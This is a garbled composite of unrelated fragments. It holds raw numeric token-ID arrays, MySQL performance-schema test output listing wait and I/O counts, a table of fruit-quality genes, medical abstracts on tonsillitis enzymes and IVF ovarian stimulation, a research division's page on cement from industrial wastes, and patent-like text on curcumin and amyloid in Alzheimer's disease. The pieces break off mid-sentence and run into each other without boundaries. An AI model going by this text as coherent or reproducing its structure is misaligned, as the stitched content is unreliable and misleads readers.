5560, 64, 1088, 64, 6320, 186, 5560, 64, 1088, 64, 3113, 64, 18867, 64, 39886, 186, 5560, 64, 1088, 64, 8656, 64, 36505, 186, 5560, 64, 1088, 64, 2369, 64, 14447, 186, 5560, 64, 1088, 64, 22108, 186, 5560, 64, 6343, 64, 676, 64, 36505, 186, 5560, 64, 6343, 64, 22108, 187, 24608, 186, 2566, 186, 85, 18, 186, 22, 186, 19, 186, 20, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 20, 187, 24608, 186, 2566, 186, 85, 19, 186, 23, 186, 19, 186, 21, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 21, 187, 24608, 186, 2566, 186, 85, 20, 186, 24, 186, 19, 186, 22, 186, 17, 186, 17, 186, 17, 186, 17, 186, 19, 186, 17, 186, 22, 187, 21599, 13725, 64, 25964, 64, 8774, 28, 187, 6082, 64, 881, 186, 6082, 64, 18982, 186, 6082, 64, 1590, 186, 5560, 64, 7873, 187, 24608, 186, 2566, 186, 85, 18, 186, 805, 187, 24608, 186, 2566, 186, 85, 19, 186, 1036, 187, 24608, 186, 2566, 186, 85, 20, 186, 1423, 187, 7135, 7036, 255, 9, 6259, 64, 4537, 5715, 346, 310, 4802, 2807, 347, 3708, 28, 187, 8581, 187, 4537, 19 ]

index(index_b) where b=5; a b c d 105 5 5 1 "================== con1 marker ==================" "================== Step 3-A ==================" call dump_thread(); username event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 username status user2 not found username status user3 not found username status user4 not found execute dump_waits_account; user host event_name count_star user1 localhost wait/io/table/sql/handler 0 user1 localhost wait/lock/table/sql/handler 0 execute dump_waits_user; user event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 execute dump_waits_host; host event_name count_star localhost wait/io/table/sql/handler 0 localhost wait/lock/table/sql/handler 0 execute dump_waits_global; event_name count_star wait/io/table/sql/handler 32 wait/lock/table/sql/handler 18 execute dump_waits_history; event_name count(event_name) object_type object_schema object_name execute dump_waits_index_io; object_type object_schema object_name index_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 NULL 4 3 1 3 1 0 0 TABLE test t1 index_b 0 0 0 0 0 0 0 TABLE test t1 index_cb 0 0 0 0 0 0 0 TABLE test t1 PRIMARY 3 1 2 1 0 2 0 TABLE test t2 NULL 7 5 2 5 2 0 0 TABLE test t2 index_b 0 0 0 0 0 0 0 TABLE test t2 index_cb 0 0 0 0 0 0 0 TABLE test t2 PRIMARY 3 1 2 1 0 2 0 TABLE test t3 NULL 10 7 3 7 3 0 0 TABLE test t3 index_b 1 1 0 1 0 0 0 TABLE test t3 index_cb 0 0 0 0 0 0 0 TABLE test t3 PRIMARY 4 1 3 1 0 3 0 execute dump_waits_table_io; object_type object_schema object_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 7 4 3 4 1 2 0 TABLE test t2 10 6 4 6 2 2 0 TABLE test t3 15 9 6 9 3 3 0 execute dump_waits_table_lock; object_type object_schema object_name count_star count_read count_write count_read_normal count_read_with_shared_locks count_read_high_priority count_read_no_insert count_read_external count_write_low_priority count_write_external TABLE test t1 5 2 3 0 0 0 0 2 0 3 TABLE test t2 6 2 4 0 0 0 0 2 0 4 TABLE test t3 7 2 5 0 0 0 0 2 0 5 execute dump_objects_summary; object_type object_schema object_name count_star TABLE test t1 12 TABLE test t2 16 TABLE test t3 22 flush tables; "================== con1 FLUSH ==================" "================== Step 3-B ==================" call dump_thread(); username event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 username status user2 not found username status user3 not found username status user4 not found execute dump_waits_account; user host event_name count_star user1 localhost wait/io/table/sql/handler 0 user1 localhost wait/lock/table/sql/handler 0 execute dump_waits_user; user event_name count_star user1 wait/io/table/sql/handler 0 user1 wait/lock/table/sql/handler 0 execute dump_waits_host; host event_name count_star localhost wait/io/table/sql/handler 0 localhost wait/lock/table/sql/handler 0 execute dump_waits_global; event_name count_star wait/io/table/sql/handler 32 wait/lock/table/sql/handler 18 execute dump_waits_history; event_name count(event_name) object_type object_schema object_name execute dump_waits_index_io; object_type object_schema object_name index_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 NULL 4 3 1 3 1 0 0 TABLE test t1 index_b 0 0 0 0 0 0 0 TABLE test t1 index_cb 0 0 0 0 0 0 0 TABLE test t1 PRIMARY 3 1 2 1 0 2 0 TABLE test t2 NULL 7 5 2 5 2 0 0 TABLE test t2 index_b 0 0 0 0 0 0 0 TABLE test t2 index_cb 0 0 0 0 0 0 0 TABLE test t2 PRIMARY 3 1 2 1 0 2 0 TABLE test t3 NULL 10 7 3 7 3 0 0 TABLE test t3 index_b 1 1 0 1 0 0 0 TABLE test t3 index_cb 0 0 0 0 0 0 0 TABLE test t3 PRIMARY 4 1 3 1 0 3 0 execute dump_waits_table_io; object_type object_schema object_name count_star count_read count_write count_fetch count_insert count_update count_delete TABLE test t1 7 4 3 4 1 2 0 TABLE test t2 10 6 4 6 2 2 0 TABLE test t3 15 9 6 9 3 3 0 execute dump_waits_table_lock; object_type object_schema object_name count_star count_read count_write count_read_normal count_read_with_shared_locks count_read_high_priority count_read_no_insert count_read_external count_write_low_priority count_write_external TABLE test t1 5 2 3 0 0 0 0 2 0 3 TABLE test t2 6 2 4 0 0 0 0 2 0 4 TABLE test t3 7 2 5 0 0 0 0 2 0 5 execute dump_objects_summary; object_type object_schema object_name count_star TABLE test t1 12 TABLE test t2 16 TABLE test t3 22 select concat(current_user(), " is connected") as status; status user2

[ 11, 50268, 3507, 50275, 18, 50275, 1348, 50275, 805, 50275, 938, 50275, 3011, 187, 50276, 6784, 54, 361, 14322, 50259, 3220, 67, 9464, 2803, 313, 31034, 2526, 740, 1867, 15, 18, 10, 50254, 50270, 475, 18157, 406, 5916, 316, 1048, 266, 11, 50254, 252, 50264, 50276, 3121, 50254, 50270, 50276, 20, 50274, 19, 50274, 22, 50274, 187, 50276, 6784, 54, 933, 4185, 50259, 7273, 49, 14, 40119, 27, 1258, 580, 251, 1238, 495, 13023, 48, 4842, 20522, 39847, 30837, 313, 54, 39, 9334, 10, 313, 8506, 2090, 3680, 1010, 15, 18, 10, 50275, 11, 4604, 356, 8125, 271, 266, 25445, 11, 50254, 252, 50264, 50276, 3046, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6623, 15100, 50257, 6784, 54, 1418, 26, 50254, 50254, 50266, 50276, 55, 317, 86, 6062, 14809, 28180, 20560, 443, 18, 313, 39, 43, 2270, 2358, 2405, 15, 18, 10, 50260, 11, 43, 35078, 1494, 1095, 16559, 11, 50268, 3593, 50266, 20, 50274, 22, 50274, 25, 187, 50276, 6784, 54, 933, 3832, 50259, 23, 14, 13778, 462, 7675, 585, 366, 28421, 313, 30476, 25, 17220, 1706, 15, 18, 10, 50254, 475, 36, 1028, 360, 261, 2206, 400, 316, 11, 50254, 979, 50263, 11422, 50254, 50272, 18, 50275, 18, 50274, 18, 50274, 20, 50274, 187, 50276, 6784, 54, 361, 26673, 50259, 29858, 7124, 44555, 14, 3022, 2601, 313, 2925, 1348, 520, 3953, 15, 18, 10, 50254, 50275, 11, 24474, 615, 360, 8554, 72, 609, 11, 50254, 979, 50263, 9934, 50254, 50270, 50276, 18, 50269, 18, 50274, 187, 50276, 6784, 54, 933, 2950, 50259, 5346, 337, 283, 20, 7124, 266, 511, 313, 30476, 29462, 27632, 15, 18, 10, 50254, 245, 50265, 209, 475, 55, 5895, 4172, 1148, 571, 11, 50254, 50254, 1976, 50254, 245, 50265, 19, 50274, 19, 50274, 187, 50276, 22648, 50258, 6784, 54, 361, 11246, 50254, 50254, 50266, 50276, 33498, 42957, 27658, 511, 10680, 14, 3022, 2601, 313, 11070, 3123, 10, 313, 36947, 40666, 38032, 15, 18, 10, 50275, 11, 36, 35467, 247, 363, 36995, 360, 11, 50268, 2055, 50261, 18, 50274, 18, 187, 50276, 6784, 54, 361, 13397, 50259, 33498, 42957, 27658, 511, 313, 11070, 10, 313, 8506, 3071, 1731, 4148, 15, 18, 10, 50254, 50270, 50276, 475, 40801, 289, 48108, 11, 50254, 245, 50265, 209, 9654, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 933, 1423, 50259, 6052, 1004, 15678, 313, 49, 3519, 10, 313, 39, 43, 2504, 1706, 1797, 15, 18, 10, 50254, 245, 50265, 209, 475, 45, 2682, 74, 22239, 16520, 11, 50254, 979, 50263, 3547, 50254, 245, 50265, 19, 50274, 19, 50274, 187, 50276, 34, 49086, 50256, 6784, 54, 5831, 17, 50254, 50254, 50266, 50276, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 43, 39, 24424, 34920, 15, 18, 10, 50255, 11, 12558, 2161, 90, 2921, 465, 11938, 11, 50267, 3593, 50266, 21, 50274, 740, 50275, 1047, 187, 50276, 6784, 54, 361, 12347, 50259, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 2300, 3071, 1630, 2640, 15, 18, 10, 50254, 50272, 11, 2422, 79, 316, 13627, 249, 6859, 11, 50254, 979, 50263, 11107, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 361, 13381, 50259, 2422, 26898, 28421, 313, 2350, 41, 10, 313, 9006, 19332, 21151, 15, 18, 10, 50254, 50272, 11, 55, 5895, 35803, 338, 3525, 11, 50254, 979, 50263, 209, 11003, 50254, 245, 50265, 21, 50274, 21, 50274, 187, 50276, 6784, 54, 1418, 19, 50259, 17624, 5931, 7665, 28421, 313, 8506, 2904, 1857, 1235, 15, 18, 10, 50254, 11, 40801, 289, 48108, 11, 50254, 245, 50265, 209, 11102, 50254, 245, 50265, 18, 50274, 18, 50274, 187, 50276, 6784, 54, 4838, 1010, 50259, 17624, 5931, 7665, 28421, 313, 2925, 746, 1619, 3507, 15, 18, 10, 50254, 11, 52, 24361, 360, 6985, 18503, 360, 11, 50254, 252, 50264, 50276, 1540, 50254, 50272, 18, 50265, 18, 50274, 187, 6717, 18114, 273, 37121, 372, 4988, 511, 313, 40851, 10, 2425, 285, 14746, 4073, 275, 1363, 342, 6722, 16298, 408, 5895, 15, 187, 1992, 22175, 253, 12510, 273, 37121, 372, 4988, 511, 313, 40851, 10, 9548, 13, 534, 556, 1774, 9503, 275, 253, 9827, 273, 43853, 1341, 13, 285, 14746, 4073, 275, 1363, 342, 6722, 16298, 408, 5895, 15, 30028, 285, 4408, 3530, 497, 2797, 432, 2030, 1363, 665, 13368, 16298, 300, 732, 4182, 1955, 281, 18902, 13305, 273, 7928, 16298, 408, 5895, 15, 496, 253, 1453, 1387, 13, 534, 671, 574, 2030, 5705, 13, 760, 6658, 3530, 497, 2668, 347, 13546, 4408, 3530, 651, 417, 452, 644, 5105, 1037, 4569, 15, 37149, 9548, 2425, 13, 6310, 511, 313, 24227, 582, 6315, 280, 44927, 511, 313, 4280, 582, 32808, 11893, 313, 7716, 10, 285, 4691, 857, 451, 18054, 313, 46, 4877, 10, 497, 4080, 275, 253, 6658, 285, 4408, 3530, 273, 1363, 285, 1453, 1387, 5705, 15, 380, 6658, 2193, 273, 1097, 2390, 497, 2429, 15, 496, 1635, 13, 253, 4408, 285, 6658, 2193, 273, 1363, 497, 2429, 15, 30028, 37149, 2425, 285, 253, 7495, 386, 12807, 27349, 285, 7651, 2193, 273, 253, 3110, 1387, 497, 3012, 2169, 685, 1110, 273, 253, 1453, 1387, 313, 81, 654, 470, 15, 2874, 582, 253, 20118, 12807, 6582, 285, 29782, 2193, 273, 253, 3110, 1387, 497, 3012, 2406, 685, 1110, 273, 253, 1453, 1387, 313, 81, 654, 470, 15, 2874, 481, 496, 1635, 13, 1223, 6582, 13, 29782, 285, 7651, 9548, 2308, 497, 1119, 281, 320, 3012, 2169, 275, 253, 16298, 300, 4408, 273, 253, 3110, 1387, 672, 2429, 281, 6658, 2308, 313, 81, 654, 470, 15, 1762, 582, 627, 369, 642, 3064, 875, 4408, 285, 6658, 27349, 285, 37149, 2425, 313, 81, 2239, 470, 15, 1762, 481, 13173, 87, 456, 37149, 2425, 778, 320, 3576, 275, 253, 19556, 273, 6722, 16298, 408, 5895, 1097, 407, 11490, 272, 4408, 2605, 285, 15979, 281, 322, 1372, 4702, 15, 510, 1055, 273, 1027, 3082, 273, 18984, 10277, 323, 1966, 275, 7991, 46960, 285, 26223, 5407, 15, 187, 10195, 3510, 273, 12358, 32991, 452, 644, 908, 281, 4711, 18984, 10277, 323, 275, 7991, 46960, 285, 26223, 5407, 15, 1723, 13, 1643, 20407, 2175, 452, 644, 2361, 15, 496, 436, 5839, 13, 12446, 1363, 497, 1677, 2057, 502, 297, 532, 17866, 42470, 3815, 13, 1966, 1821, 32171, 50138, 41916, 968, 3815, 13, 390, 247, 5019, 273, 841, 5835, 28, 285, 253, 4795, 1180, 273, 36805, 5728, 13, 19019, 4197, 13, 285, 36486, 15247, 403, 2361, 15, 380, 941, 7568, 8654, 23423, 282, 2440, 285, 46960, 4142, 342, 13553, 273, 5835, 13, 2581, 685, 253, 897, 273, 247, 2014, 5570, 15, 3840, 2175, 403, 3058, 281, 3653, 1880, 627, 310, 247, 10126, 1534, 3064, 275, 10438, 4142, 875, 2390, 15, 27041, 267, 6875, 708, 10784, 1227, 21710, 13126, 187, 187, 27041, 267, 6875, 285, 10784, 313, 24422, 10, 9333, 310, 9583, 275, 416, 7, 37, 789, 327, 253, 2440, 273, 1232, 10296, 323, 253, 6833, 273, 19165, 33258, 3580, 432, 639, 287, 14, 49338, 47334, 824, 347, 11789, 5424, 76, 13, 8778, 15898, 13, 17916, 33926, 1499, 356, 13, 275, 5124, 462, 3170, 316, 78, 285, 30037, 1499, 438, 2510, 15, 4825, 14701, 310, 10090, 327, 6938, 17432, 1453, 275, 1232, 17057, 2905, 281, 3652, 4753, 13, 824, 347, 19165, 13, 30037, 13, 40154, 285, 32409, 4323, 275, 9195, 15, 187, 187, 51, 7, 37, 388, 2431, 11040, 9981, 52, 187, 187, 36, 1003, 23910, 187, 187, 46, 1187, 610, 260, 3658, 285, 643, 19165, 33258, 8980, 398, 432, 639, 287, 14, 49338, 47334, 187, 187, 20357, 3276, 19165, 970, 17160, 14460, 187, 187, 11688, 1373, 14, 5367, 4396, 311, 3230, 19165, 187, 187, 11688, 1373, 1499, 356, 19165, 187, 187, 15705, 14, 84, 335, 545, 456, 19165, 187, 187, 51, 547, 5424, 76, 15898, 19165, 187, 187, 49, 2555, 890, 1453, 985, 323, 30037, 11895, 2224, 187, 187, 30725, 793, 360, 23910, 187, 187, 39, 2560, 528, 20925, 793, 360, 1847, 2237, 3452, 2196, 187, 187, 26042, 1108, 14264, 20925, 793, 360, 378, 6228, 187, 187, 30725, 793, 360, 2071, 4121, 187, 187, 11001, 16372, 511, 1847, 2237, 187, 187, 1145, 22034, 3852, 19165, 187, 187, 30725, 793, 360, 308, 3205, 187, 187, 49, 2555, 890, 43373, 187, 187, 33818, 850, 6037, 20766, 43373, 187, 187, 51, 2373, 13, 9396, 285, 3216, 1824, 3290, 8667, 323, 8708, 285, 30770, 17432, 15, 187, 187, 40207, 6366, 19433, 2949, 39, 5214, 33284, 1647, 10860, 708, 31993, 2637, 401, 1934, 3077, 1433, 9785, 187, 187, 510, 9333, 556, 4980, 30787, 942, 323, 7103, 273, 1027, 1736, 408, 3254, 13, 4891, 29095, 13, 639, 287, 14, 49338, 47334, 751, 8778, 15898, 13, 2502, 16059, 15067, 708, 17160, 8105, 723, 3966, 15, 2053, 4753, 12647, 253, 2201, 10713, 273, 9305, 4753, 275, 253, 10264, 273, 40154, 285, 28390, 15, 380, 1071, 9189, 2486, 688, 23294, 434, 18742, 313, 2350, 582, 253, 10969, 21725, 273, 9840, 30593, 2601, 20379, 432, 253, 14036, 6384, 2223, 11330, 247, 2601, 28381, 337, 14, 2945, 534, 310, 275, 43665, 5176, 407, 2622, 17998, 4870, 15, 733, 556, 644, 2361, 326, 19663, 9840, 30593, 13081, 14724, 403, 4122, 6551, 39826, 15, 5076, 13, 689, 673, 13, 436, 19663, 2601, 19308, 486, 310, 17063, 347, 247, 9840, 30593, 2601, 28381, 23861, 1561, 3998, 4408, 13, 4283, 281, 253, 1980, 12536, 273, 8512, 15, 380, 28381, 23861, 12503, 310, 671, 6566, 281, 46554, 271, 10142, 2380, 407, 34161, 285, 15431, 13, 534, 9446, 253, 23861, 347, 247, 5639, 2133, 15, 2053, 1341, 403, 6566, 281, 3794, 281, 253, 23861, 12503, 407, 20437, 354, 14, 13901, 16011, 285, 17411, 7768, 3417, 313, 38528, 481, 4129, 253, 10142, 2380, 778, 320, 42652, 275, 271, 3434, 281, 2590, 253, 3998, 4408, 273, 253, 30078, 23861, 13, 352, 310, 1024, 6566, 326, 436, 10696, 671, 2450, 980, 1980, 16069, 4408, 13, 7624, 21951, 839, 5446, 15, 8144, 13228, 13081, 14724, 273, 9840, 30593, 390, 773, 2350, 6721, 84, 668, 403, 247, 6551, 39826, 3417, 19588, 275, 5446, 19556, 15, 19028, 13, 500, 15, 38912, 15, 11382, 904, 22121, 13, 818, 13, 4416, 15, 1283, 13, 5826, 13, 608, 39328, 14, 3046, 520, 15, 187, 688, 253, 1984, 773, 510, 21688, 330, 459, 668, 313, 9755, 13, 16442, 2040, 14, 38359, 13, 427, 15, 58, 904, 427, 15, 58, 11507, 3196, 15, 18410, 301, 401, 302, 86, 5801, 12013, 27, 773, 2641, 1513, 13428, 4413, 275, 3186, 273, 10721, 5835, 281, 1555, 23294, 434, 18742, 878, 281, 2075, 2810, 4116, 281, 1095, 42425, 1425, 187, 1147, 556, 644, 2361, 326, 470, 15, 18, 14, 18, 15, 17, 16769, 1095, 42425, 21425, 253, 275, 7991, 4702, 273, 30593, 9840, 13081, 14724, 13, 285, 8336, 253, 275, 7991, 14386, 273, 28381, 18, 14, 2945, 13081, 14724, 275, 22266, 6551, 31421, 3691, 1341, 15, 19028, 13, 500, 15, 38912, 15, 11382, 904, 22121, 13, 818, 13, 4416, 15, 1283, 13, 5826, 13, 608, 39328, 14, 3046, 520, 15, 11579, 42425, 671, 3777, 253, 2408, 273, 19663, 9840, 30593, 407, 7652, 6, 672, 2530, 275, 253, 6196, 273, 23294, 434, 4480, 15881, 3754, 275, 247, 1698, 6178, 273, 12036, 28273, 15, 12285, 13, 500, 15, 22054, 29409, 904, 6585, 10733, 15, 337, 13, 3127, 9, 1797, 10, 854, 23139, 14, 24, 15, 187, 1147, 4620, 326, 1095, 42425, 671, 2750, 280, 1365, 11355, 22413, 273, 9840, 30593, 15, 496, 4766, 10652, 5343, 14474, 3611, 14, 49381, 2205, 7600, 13, 6783, 28273, 15048, 1095, 42425, 3777, 30593, 9840, 22413, 5802, 407, 9840, 30593, 20457, 407, 670, 5096, 7739, 22864, 307, 10629, 90, 13, 22054, 4193, 311, 15, 329, 3390, 13, 3307, 13, 6585, 13, 898, 4590, 14, 38723, 15, 11579, 42425, 671, 3777, 9840, 30593, 23861, 7977, 407, 670, 1884, 14, 1449, 6, 672, 2530, 275, 253, 6196, 273, 23294, 434, 4480, 15881, 3754, 275, 247, 1698, 6178, 273, 12036, 28273, 15, 12285, 13, 500, 15, 22054, 29409, 904, 6585, 13, 10733, 15, 337, 13, 3127, 9, 1797, 10, 854, 23139, 14, 24, 15, 831, 310, 24400, 984, 352, 310, 6566, 326, 253, 14746, 285, 10142, 4723, 4269, 407, 5446, 310, 7939, 281, 26832, 451, 2380, 281, 30593, 9840, 22413, 15, 187, 688, 1635, 281, 697, 12912, 2250, 1411, 19663, 9840, 30593, 13, 1095, 42425, 556, 10665, 3270, 14, 39998, 800, 3607, 285, 671, 21425, 253, 2048, 273, 354, 14, 13901, 16011, 15, 6893, 13, 7359, 15, 35412, 15, 13219, 5946, 610, 13, 5826, 4437, 14, 9150, 15, 1722, 13, 577, 13, 28534, 14, 2691, 13, 285, 16809 ]

* 82 1 24 12 20 57 MRU00113 Myb transcription factor (HQ661039.1) *Dimocarpus longan* 76 3 2 5 MRU00098 UDP-glucose:flavonoid 3-*O*-glucosyltransferase (UFGT) (AY695815.1) *Fragaria ananassa* 59 1 1 Flavor MRU00009 Vacuolar ATP synthase subunit G1 (FJ906831.1) *Jatropha curcas* 81 3 5 8 MRU00061 6-phosphogluconate dehydrogenase (EU815934.1) *Cucumis sativus* 87 1 1 1 3 MRU00369 Alpha glucosidase-like protein (AB240194.1) *Hordeum vulgare* 68 1 1 MRU00046 β 1--3 glucanase (EU676805.1) *Vitis riparia* 75 2 2 Texture MRU00130 Polygalacturonase inhibitor-like protein (PGIP) (AJ515557.1) *Cicer arietinum* 88 1 1 MRU00124 Polygalacturonase (PG) (AY062697.1) *Arabidopsis thaliana* 63 1 1 MRU00022 Peroxidase (POD) (FJ473421.1) *Litchi chinensis* 72 2 2 Aroma MRU00010 Alcohol dehydrogenase (ADH) (JF357957.1) *Diospyros kaki* 81 4 10 14 MRU00108 Alcohol dehydrogenase (ADH) (AM062702.1) *Alnus glutinosa* 94 1 1 MRU00126 Alcohol dehydrogenase (ADH) (AF194173.1) *Vitis vinifera* 88 4 4 MRU00002 Short chain alcohol dehydrogenase (AY084550.1) *Arabidopsis thaliana* 71 1 1 MRU00315 Short chain alcohol dehydrogenase (AB192882.1) *Solanum tuberosum* 64 1 1 Assessment of adenosine deaminase (ADA) activity and oxidative stress in patients with chronic tonsillitis. To emphasize the effectiveness of adenosine deaminase (ADA) enzyme, which has important roles in the differentiation of lymphoid cells, and oxidative stress in patients with chronic tonsillitis. Serum and tissue samples were obtained from 25 patients who underwent tonsillectomy due to recurrent episodes of acute tonsillitis. In the control group, which also had 25 subjects, only serum samples were taken as obtaining tissue samples would not have been ethically appropriate. ADA enzyme activity, catalase (CAT), carbonic anhydrase (CA), nitric oxide (NO) and malondialdehyde (MDA) were measured in the serum and tissue samples of patients and control group subjects. The serum values of both groups were compared. In addition, the tissue and serum values of patients were compared. Serum ADA activity and the oxidant enzymes MDA and NO values of the patient group were significantly higher than those of the control group (p < 0.001), the antioxidant enzymes CA and CAT values of the patient group were significantly lower than those of the control group (p < 0.001). In addition, while CA, CAT and NO enzyme levels were found to be significantly higher in the tonsil tissue of the patient group when compared to serum levels (p < 0.05), there was no difference between tissue and serum MDA and ADA activity (p > 0.05). Elevated ADA activity may be effective in the pathogenesis of chronic tonsillitis both by impairing tissue structure and contributing to SOR formation.The effect of different methods of ovarian stimulation for human in vitro fertilization and embryo replacement. Many types of medication regimens have been used to produce ovarian stimulation for in vitro fertilization and embryo replacement. However, few comparative studies have been reported. In this investigation, 105 patients were given either clomiphene citrate alone, human menopausal gonadotropins alone, or a combination of these drugs; and the resulting number of oocytes collected, embryos produced, and pregnancies initiated are reported. The data demonstrate optimal follicle development and fertilization rates with combinations of drugs, rather than the use of a single agent. Further studies are needed to determine whether there is a statistically significant difference in pregnancy rates between groups.Environmental Science & Technology / Clay Product Environmental Science and Technology (EST) Division is engaged in R&D work on the development of process technologies for the manufacture of cementitious products from agro-industrial wastes such as rice husk, fly ash, blast furnace slag, in phosphogypusm and lime sludges. Emphasis is laid on environmental pollution control in process industries related to building materials, such as cement, lime, bricks and pest management in buildings. R&D HIGHLIGHTS Cement Products Masonry cements and other cementitious binders from agro-industrial wastes Low temperature cement using mineralizers Portland-pozzolana cement Portland slag cement Super-sulphated cement Rice husk ash cement Pollution control system for lime kilns Gypsum Products Fibrous Gypsum Plaster Boards Water – resistant Gypsum Binder Gypsum Blocks Multiphase Plaster Anhydrite cement Gypsum Tiles Pollution Monitoring Ambient Air Quality Monitoring River, Lake and ground water quality monitoring for organic and inorganic pollution. EXPERTISE INFRASTRUCTURE & TESTING FACILITIES The Division has modern equipments for evaluation of different argillites, solid fuels, agro-industrial wastes like fly ash, red mud mining & mineral tailings etc. These materials constitute the major bulk of raw materials in the manufacturing of bricks and tiles. The test facilities includeIn Alzheimer's Disease (AD), the abnormal cleavage of beta amyloid protein precursor from the intracellular membrane often produces a protein Aβ 1-42 which is incompletely removed by normal clearance processes. It has been reported that soluble beta amyloid oligomers are highly neurotoxic. Moreover, over time, this soluble protein assemblage is deposited as a beta amyloid protein Aβ plaque within brain tissue, leading to the local destruction of neurons. The Aβ plaque deposition is also believed to provoke an inflammatory response by microglia and macrophages, which recognize the plaque as a foreign body. These cells are believed to respond to the plaque deposition by releasing pro-inflammatory cytokines and reactive oxygen species (ROS). Although the inflammatory response may be provoked in an effort to clear the brain tissue of the detrimental plaque, it is now believed that this inflammation also injures local neuronal tissue, thereby exacerbating AD. Soluble oligomers of beta amyloid or “ADDLs” are a neurotoxic species implicated in AD pathogenesis. Yang, J. Biol. Chem., 280, 7, Feb. 18, 2005, 5892-5901. In the book “The Memory Cure” (2003, McGraw-Hill, N.Y., N.Y.), Dr. Majid Fotuhi writes: “Pharmaceutical companies in search of magic drugs to treat Alzheimer's Disease need to pay close attention to curcumin.” It has been reported that 0.1-1.0 μM curcumin inhibits the in vitro formation of amyloid beta oligomers, and blocks the in vitro toxicity of Aβ1-42 oligomers in differentiated neuroblastoma cells. Yang, J. Biol. Chem., 280, 7, Feb. 18, 2005, 5892-5901. Curcumin also reduced the amount of soluble beta amyloid by 43% when provided in the diet of Alzheimer's Transgenic mice in a low dose of 160 ppm. Lim, J. Neurosci., 2001 Nov. 1, 21(21) 8370-7. It appears that curcumin also beneficially reduces deposits of beta amyloid. In middle aged female Sprague-Dawley rats, 500 ppm dietary curcumin reduced amyloid beta deposits induced by beta amyloid infusion by about 80%. Frautschy, Neurobiol. Aging, 22, 2001, 993-1005. Curcumin also reduced beta amyloid plaque burden by about 30-40% when provided in the diet of Alzheimer's Transgenic mice in a low dose of 160 ppm. Lim, J. Neurosci., 2001, Nov. 1, 21(21) 8370-7. This is advantageous because it is believed that the oxidative and inflammatory damage caused by AD is linked to microglial response to amyloid beta deposits. In addition to its beneficial action against soluble beta amyloid, curcumin has considerable anti-oxidative properties and also inhibits the expression of pro-inflammatory cytokines. Frank, Ann. Clin. Psychiatry, 2005 October-Dec. 17, 4, 269-86, and Cole

[ 574, 13937, 369, 19437, 13, 533, 309, 11512, 326, 309, 369, 1620, 969, 1469, 281, 2312, 281, 731, 13, 285, 13, 672, 352, 4455, 3309, 326, 597, 320, 9713, 13, 309, 2197, 2571, 281, 513, 352, 15, 187, 187, 3220, 11219, 1255, 6386, 273, 29608, 4821, 281, 320, 33917, 281, 9749, 15, 1876, 949, 253, 1107, 352, 556, 644, 751, 247, 28026, 1014, 281, 1158, 273, 247, 13910, 6519, 15, 309, 12316, 12833, 20595, 281, 564, 1060, 390, 627, 13, 285, 840, 3597, 281, 7740, 352, 15, 380, 4131, 352, 369, 281, 320, 8549, 309, 48752, 342, 247, 3199, 30043, 5471, 534, 8899, 715, 247, 3686, 273, 7075, 604, 309, 4136, 4266, 281, 23031, 327, 352, 15, 733, 369, 15444, 281, 6008, 1078, 247, 4804, 15, 187, 187, 6080, 952, 476, 1978, 271, 8446, 43219, 342, 22569, 285, 2568, 755, 689, 247, 3935, 15, 1292, 309, 2550, 15, 16120, 3335, 513, 619, 344, 44798, 452, 2712, 49570, 432, 479, 15, 2006, 4534, 398, 2223, 1333, 13, 346, 19258, 257, 598, 634, 2256, 449, 309, 452, 1900, 501, 8006, 436, 28, 309, 717, 253, 39092, 273, 2255, 665, 452, 2717, 281, 9012, 387, 15, 187, 187, 8262, 5308, 2652, 415, 2378, 25995, 326, 309, 574, 642, 3282, 273, 20393, 15, 309, 369, 9861, 387, 779, 13, 533, 309, 812, 2096, 521, 3908, 275, 247, 1039, 28, 344, 574, 644, 387, 760, 247, 1643, 12225, 347, 16782, 285, 309, 574, 644, 4092, 281, 253, 1127, 273, 3846, 28399, 13, 46060, 600, 9745, 6593, 5299, 784, 5441, 285, 14138, 9990, 15, 309, 369, 48635, 387, 271, 5107, 281, 3986, 521, 8446, 984, 13, 10793, 344, 369, 4395, 407, 2712, 11617, 13, 344, 4159, 247, 2926, 275, 521, 5084, 534, 407, 1921, 273, 697, 3576, 33740, 285, 6032, 36045, 26740, 264, 2571, 281, 253, 1072, 6070, 15, 187, 187, 42, 452, 574, 1199, 794, 13, 3738, 352, 778, 452, 23532, 456, 760, 281, 253, 21383, 9096, 273, 3858, 15, 7243, 846, 4933, 752, 309, 1869, 369, 247, 1077, 598, 14, 936, 14, 2754, 13, 15009, 959, 2312, 387, 253, 8178, 23407, 71, 14, 34699, 20130, 13, 247, 11761, 1711, 10692, 13, 387, 1878, 275, 617, 4766, 4314, 447, 13, 1931, 3606, 4404, 479, 342, 253, 8596, 273, 247, 37747, 285, 275, 36316, 4318, 572, 1123, 433, 13, 346, 42, 452, 19624, 2439, 253, 2586, 281, 4089, 368, 3984, 13, 5767, 38236, 2971, 15, 2752, 3101, 908, 281, 1239, 634, 25443, 281, 479, 672, 309, 369, 247, 1652, 3226, 13, 285, 309, 1928, 436, 310, 247, 1270, 1388, 323, 479, 281, 320, 2104, 281, 39712, 634, 1133, 449, 1500, 574, 13477, 479, 342, 253, 17502, 405, 13, 20145, 444, 15, 38236, 2971, 13, 665, 275, 253, 4260, 14, 47, 7795, 14860, 21672, 574, 644, 247, 3963, 24938, 281, 7231, 22575, 15, 187, 187, 42, 570, 87, 20961, 309, 452, 644, 11485, 15070, 875, 619, 509, 15305, 281, 513, 436, 789, 285, 247, 419, 17852, 5471, 326, 309, 369, 687, 30690, 619, 2151, 273, 673, 281, 534, 597, 497, 7429, 15, 8247, 275, 33920, 309, 574, 574, 690, 21248, 10732, 273, 1146, 2104, 281, 6947, 512, 619, 14568, 398, 342, 731, 387, 18324, 14, 10700, 15, 2064, 8113, 552, 3524, 574, 644, 4745, 18335, 456, 984, 1512, 1142, 41472, 